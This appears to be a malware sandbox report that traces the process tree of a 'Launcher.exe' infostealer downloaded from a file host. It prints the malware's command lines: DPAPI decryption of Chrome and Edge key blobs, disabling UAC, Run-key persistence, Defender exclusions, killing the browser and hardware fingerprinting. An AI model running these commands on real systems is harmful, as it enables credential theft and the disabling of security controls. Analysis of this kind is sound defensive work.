3756	msedge.exe
3756	msedge.exe
3756	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3756 wrote to memory of 3460	3756	msedge.exe	85
PID 3756 wrote to memory of 3460	3756	msedge.exe	85
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 1464	3756	msedge.exe	86
PID 3756 wrote to memory of 852	3756	msedge.exe	87
PID 3756 wrote to memory of 852	3756	msedge.exe	87
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88
PID 3756 wrote to memory of 4720	3756	msedge.exe	88

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://pixeldrain.com/u/SyA8hZRH
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbc80b46f8,0x7ffbc80b4708,0x7ffbc80b4718
  2⤵
  PID:3460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2036 /prefetch:2
  2⤵
  PID:1464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8
  2⤵
  PID:4720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3240 /prefetch:1
  2⤵
  PID:1356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1
  2⤵
  PID:3240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4648 /prefetch:1
  2⤵
  PID:920
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5292 /prefetch:8
  2⤵
  PID:3568
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5292 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5484 /prefetch:8
  2⤵
  PID:4820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5560 /prefetch:1
  2⤵
  PID:3104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5700 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1260
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5924 /prefetch:1
  2⤵
  PID:1100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:1
  2⤵
  PID:6024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,4855916699938803994,16546762581474877505,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4616 /prefetch:1
  2⤵
  PID:6032

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1600

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3012

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5228

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Launcher.rar"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5312
- C:\Users\Admin\AppData\Local\Temp\7zO0C463B48\Launcher.exe
  "C:\Users\Admin\AppData\Local\Temp\7zO0C463B48\Launcher.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:5468
- - C:\ProgramData\app.exe
    "C:\ProgramData\app.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    PID:5756
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\1hNGppoJOd.ps1""
      4⤵
      PID:5400
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\1hNGppoJOd.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5416
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5o4jfdfa\5o4jfdfa.cmdline"
        6⤵
        
        PID:5664
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2B12.tmp" "c:\Users\Admin\AppData\Local\Temp\5o4jfdfa\CSCC28E3F0EB5A147FD95DE626C90F2D53B.TMP"
        7⤵
        
        PID:5708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
      4⤵
      PID:956
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic diskdrive get serialnumber
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      4⤵
      PID:5924
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM msedge.exe /F"
      4⤵
      PID:6016
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM msedge.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      4⤵
      PID:6088
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,134,68,90,168,164,48,36,74,145,194,184,0,171,33,10,81,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,134,207,73,36,33,220,51,169,216,24,1,100,86,219,228,221,25,0,213,234,183,9,170,128,155,49,6,20,168,28,231,79,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,13,3,55,184,141,77,103,8,224,103,25,194,116,76,193,185,131,58,87,3,111,142,36,184,77,120,108,26,67,244,20,25,48,0,0,0,106,149,233,187,89,98,74,231,30,160,114,65,172,69,245,48,244,114,198,109,235,88,130,231,136,45,89,26,54,95,105,27,141,231,221,237,204,107,197,175,190,182,162,216,230,28,193,54,64,0,0,0,112,212,134,205,222,222,129,28,80,105,26,187,38,172,156,106,88,235,175,54,43,103,230,117,49,112,180,159,12,117,120,222,104,78,61,205,114,231,87,123,187,16,20,197,24,140,126,139,123,248,140,233,115,26,139,136,108,2,180,112,126,191,105,211), $null, 'CurrentUser')"
      4⤵
      An obfuscated cmd.exe command-line is typically used to evade detection.
      PID:6096
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,134,68,90,168,164,48,36,74,145,194,184,0,171,33,10,81,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,134,207,73,36,33,220,51,169,216,24,1,100,86,219,228,221,25,0,213,234,183,9,170,128,155,49,6,20,168,28,231,79,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,13,3,55,184,141,77,103,8,224,103,25,194,116,76,193,185,131,58,87,3,111,142,36,184,77,120,108,26,67,244,20,25,48,0,0,0,106,149,233,187,89,98,74,231,30,160,114,65,172,69,245,48,244,114,198,109,235,88,130,231,136,45,89,26,54,95,105,27,141,231,221,237,204,107,197,175,190,182,162,216,230,28,193,54,64,0,0,0,112,212,134,205,222,222,129,28,80,105,26,187,38,172,156,106,88,235,175,54,43,103,230,117,49,112,180,159,12,117,120,222,104,78,61,205,114,231,87,123,187,16,20,197,24,140,126,139,123,248,140,233,115,26,139,136,108,2,180,112,126,191,105,211), $null, 'CurrentUser')
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5232
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,134,68,90,168,164,48,36,74,145,194,184,0,171,33,10,81,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,77,220,213,239,127,76,70,253,225,9,214,149,189,224,37,147,8,202,237,78,209,247,255,236,84,111,225,101,69,108,178,224,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,102,117,81,243,82,41,159,199,223,204,73,103,111,193,135,9,14,132,26,34,12,235,123,230,201,169,244,90,144,34,76,188,48,0,0,0,103,67,212,89,139,219,208,12,37,159,138,33,74,199,53,203,187,122,61,189,179,21,79,56,96,39,162,175,169,163,231,4,19,159,69,21,101,235,225,145,193,122,185,39,89,246,188,16,64,0,0,0,13,24,255,63,225,128,47,197,143,32,42,215,150,140,115,113,251,41,122,237,27,31,133,254,7,138,30,232,191,164,12,191,22,21,25,82,217,147,12,165,169,188,154,153,135,43,133,158,163,36,65,228,250,207,73,204,196,224,135,72,228,146,75,229), $null, 'CurrentUser')"
      4⤵
      An obfuscated cmd.exe command-line is typically used to evade detection.
      PID:4836
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,134,68,90,168,164,48,36,74,145,194,184,0,171,33,10,81,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,77,220,213,239,127,76,70,253,225,9,214,149,189,224,37,147,8,202,237,78,209,247,255,236,84,111,225,101,69,108,178,224,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,102,117,81,243,82,41,159,199,223,204,73,103,111,193,135,9,14,132,26,34,12,235,123,230,201,169,244,90,144,34,76,188,48,0,0,0,103,67,212,89,139,219,208,12,37,159,138,33,74,199,53,203,187,122,61,189,179,21,79,56,96,39,162,175,169,163,231,4,19,159,69,21,101,235,225,145,193,122,185,39,89,246,188,16,64,0,0,0,13,24,255,63,225,128,47,197,143,32,42,215,150,140,115,113,251,41,122,237,27,31,133,254,7,138,30,232,191,164,12,191,22,21,25,82,217,147,12,165,169,188,154,153,135,43,133,158,163,36,65,228,250,207,73,204,196,224,135,72,228,146,75,229), $null, 'CurrentUser')
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5380
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
      4⤵
      PID:5568
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        
        PID:5580
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
      4⤵
      PID:5764
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic diskdrive get serialnumber
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5436
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v app /t REG_SZ /d "C:\ProgramData\Update.vbs" /f"
      4⤵
      PID:5664
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v app /t REG_SZ /d "C:\ProgramData\Update.vbs" /f
        5⤵
        Adds Run key to start application
        
        PID:5508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.4erFnpS8HV""
      4⤵
      PID:5572
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.4erFnpS8HV"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks""
      4⤵
      PID:5932
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2064
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
      4⤵
      PID:6056
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic baseboard get serialnumber
        5⤵
        
        PID:3004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
      4⤵
      PID:6072
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic baseboard get serialnumber
        5⤵
        
        PID:4920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "pip install pillow"
      4⤵
      PID:1496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
      4⤵
      PID:5080
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_computersystemproduct get uuid
        5⤵
        
        PID:4460
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
      4⤵
      PID:2640
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic PATH Win32_VideoController GET Description,PNPDeviceID
        5⤵
        
        PID:2824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"
      4⤵
      PID:3548
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic memorychip get serialnumber
        5⤵
        
        PID:2892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
      4⤵
      PID:4016
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:4336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
      4⤵
      PID:3248
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic cpu get processorid
        5⤵
        
        PID:5116
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "getmac /NH"
      4⤵
      PID:4344
    - - C:\Windows\system32\getmac.exe
        
        getmac /NH
        5⤵
        
        PID:1112
  - - C:\Users\Admin\AppData\Local\Temp\python-installer.exe
      C:\Users\Admin\AppData\Local\Temp\python-installer.exe /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5956
    - - C:\Windows\Temp\{A8B369A0-E177-4AF3-9061-01B1EE79428C}\.cr\python-installer.exe
        
        "C:\Windows\Temp\{A8B369A0-E177-4AF3-9061-01B1EE79428C}\.cr\python-installer.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\python-installer.exe" -burn.filehandle.attached=560 -burn.filehandle.self=572 /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3116
- - C:\ProgramData\App2.exe
    "C:\ProgramData\App2.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:5816

C:\Users\Admin\Downloads\Launcher.exe
"C:\Users\Admin\Downloads\Launcher.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:6132
- C:\ProgramData\app.exe
  "C:\ProgramData\app.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in System32 directory
  PID:2068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\tPNhFsV0IU.ps1""
    3⤵
    PID:5928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\tPNhFsV0IU.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5692
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4v5ibxci\4v5ibxci.cmdline"
        5⤵
        
        PID:4196
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8160.tmp" "c:\Users\Admin\AppData\Local\Temp\4v5ibxci\CSC4C502E2F18BC4BA1B8B1AE9BCB694DE.TMP"
        6⤵
        
        PID:1884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
    3⤵
    PID:2248
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber
      4⤵
      PID:1568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5360
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:1948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3740
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:5116
- - C:\Windows\system32\cmd.exe
